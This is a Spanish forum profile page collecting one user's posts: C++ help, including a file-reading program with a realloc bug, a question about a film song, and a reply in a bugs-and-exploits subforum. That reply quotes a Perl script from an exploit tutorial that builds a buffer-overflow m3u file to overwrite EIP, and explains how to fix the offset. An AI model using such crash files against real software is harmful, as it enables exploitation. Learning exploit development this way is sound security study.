Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ThePinkPanther

#81
switch (x){
case 1:burbuja();
break;
case 2:seleccion();
break;
case 3:
seguir = 0;
break;
default: cout<<"ERROR, OPCION INVALIDA.."<<endl; //OPCION INVALIDA.
break; //te falto el break
}
#82
Muy bueno , es open source ?  :)
otra cosa , creo que este tema no va en este subforo.. un saludo
#84
Muchas gracias me sirvio :D !
#85
Alguien sabe como se llama la canción que esta en el minuto 40:00 , de la siguiente pelicula ?..

[youtube=640,360]http://www.youtube.com/watch?v=e81oImDNILo[/youtube]

Gracias de antemano (:
#86
Muy bueno . Pero entonces ,¿ no tiene solución en C ?
#87
Programación C/C++ / Codigo c++ , problema.
27 Enero 2013, 00:39 AM
Este programa funciona perfectamente, pero con archivos menores a 1kb , estoy usando asignación dinamica de memoria , con la función realloc .




#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#define BLOQUEDETEXTO 200
using namespace std;

int main() {
FILE *archivo;
char *t,*a; // t = texto seleccionado(200 bytes) , a = asignacion dinamica
int numerodetextos=0,textoseleccionado=0;
char n[255]; // nombre del archivo

//-------------------------------------------------------------
do
{

     cout<<"nombre del archivo: " ; cin>>n;
 archivo=fopen(n,"rwt");
 if(archivo==NULL)
 {

            cout<<"Nombre incorrecto";
        cout<<endl;
    }      
}
while(archivo==NULL);

a=(char *)malloc(BLOQUEDETEXTO);

while(! feof(archivo))
{



    memset(a+(BLOQUEDETEXTO * numerodetextos),0,BLOQUEDETEXTO);
    fread(a+(BLOQUEDETEXTO * numerodetextos),1,200,archivo);
    numerodetextos++;

    realloc(a,(BLOQUEDETEXTO * (numerodetextos + 1)));    




//dentro de este bucle esta el error.



}
printf("\n %s",a);
free(a);

system("pause>nul");
   
return 0;




}



Porque funciona con archivos de menos de un kb pero cuando trato de leer uno más grande el programa se cuelga.?
#88
Bugs y Exploits / Re: confusion!
26 Enero 2013, 23:54 PM
Cita de: 0x3c en 11 Enero 2013, 09:49 AM
saludos estoy siguiendo estos tutoriales....

corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

el problema es que cuando llego a la parte que se debe llenar EIP con B's en vez de llenarse con B's se llena con C's...??? estare haciendo algo mal?


por cierto para llenar el EIP con B's en el tutorial aparece este codigo:


my $file= "eipcrash.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";


por cierto en el codigo que use cambie las letras por sus equivalentes en 'hexadecimal'..


saludos
Eip se llena con c , porque esta mal la parte del codigo
print $FILE $junk.$eip.$espdata; , en sintaxis esto esta bien , porque llenar llena pero con C , porque no llega $junk al punto justo donde se sobreeescribe eip , fijate el punto justo donde EIP es sobreescrito , y modifica esto :

my $junk= "A" x 26094;

por :  "A" x "EL numero entero justo -1 donde se escribe EIP."

Saludos.